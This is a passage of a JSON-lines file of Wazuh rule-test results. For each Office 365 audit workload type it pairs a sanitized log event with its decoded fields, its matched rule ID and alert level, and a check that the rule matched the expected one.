"{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SecurityComplianceAlerts\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"40\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "40", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SecurityComplianceAlerts"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91568", "level": "5", "expected_decoder": "json", "expected_rule": "91568", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SecurityComplianceAlerts"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ThreatIntelligenceUrl\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"41\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "41", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ThreatIntelligenceUrl"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91569", "level": "7", "expected_decoder": "json", "expected_rule": "91569", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ThreatIntelligenceUrl"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SecurityComplianceInsights\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"42\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "42", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SecurityComplianceInsights"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91570", "level": "5", "expected_decoder": "json", "expected_rule": "91570", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SecurityComplianceInsights"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MIPLabel\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"43\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "43", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MIPLabel"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91571", "level": "5", "expected_decoder": "json", "expected_rule": "91571", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MIPLabel"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"WorkplaceAnalytics\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"44\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "44", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "WorkplaceAnalytics"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91572", "level": "3", "expected_decoder": "json", "expected_rule": "91572", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 WorkplaceAnalytics"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"PowerAppsApp\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"45\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "45", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "PowerAppsApp"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91573", "level": "3", "expected_decoder": "json", "expected_rule": "91573", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 PowerAppsApp"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"PowerAppsPlan\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"46\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "46", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "PowerAppsPlan"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91574", "level": "3", "expected_decoder": "json", "expected_rule": "91574", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 PowerAppsPlan"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ThreatIntelligenceAtpContent\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"47\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "47", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ThreatIntelligenceAtpContent"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91575", "level": "12", "expected_decoder": "json", "expected_rule": "91575", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ThreatIntelligenceAtpContent"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"LabelContentExplorer\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"48\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "48", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "LabelContentExplorer"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91576", "level": "3", "expected_decoder": "json", "expected_rule": "91576", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 LabelContentExplorer"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"TeamsHealthcare\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"49\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "49", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "TeamsHealthcare"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91577", "level": "3", "expected_decoder": "json", "expected_rule": "91577", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 TeamsHealthcare"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ExchangeItemAggregated\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"50\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "50", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ExchangeItemAggregated"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91578", "level": "5", "expected_decoder": "json", "expected_rule": "91578", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ExchangeItemAggregated"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"HygieneEvent\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"51\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "51", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "HygieneEvent"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91579", "level": "5", "expected_decoder": "json", "expected_rule": "91579", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 HygieneEvent"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"DataInsightsRestApiAudit\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"52\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "52", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "DataInsightsRestApiAudit"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91580", "level": "3", "expected_decoder": "json", "expected_rule": "91580", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 DataInsightsRestApiAudit"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"InformationBarrierPolicyApplication\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"53\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "53", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "InformationBarrierPolicyApplication"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91581", "level": "3", "expected_decoder": "json", "expected_rule": "91581", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 InformationBarrierPolicyApplication"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointListItemOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"54\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "54", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointListItemOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91582", "level": "3", "expected_decoder": "json", "expected_rule": "91582", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointListItemOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointContentTypeOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"55\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "55", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointContentTypeOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91583", "level": "3", "expected_decoder": "json", "expected_rule": "91583", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointContentTypeOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointFieldOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"56\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "56", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointFieldOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91584", "level": "3", "expected_decoder": "json", "expected_rule": "91584", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointFieldOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftTeamsAdmin\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"57\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "57", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftTeamsAdmin"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91585", "level": "5", "expected_decoder": "json", "expected_rule": "91585", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftTeamsAdmin"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"HRSignal\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"58\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "58", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "HRSignal"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": 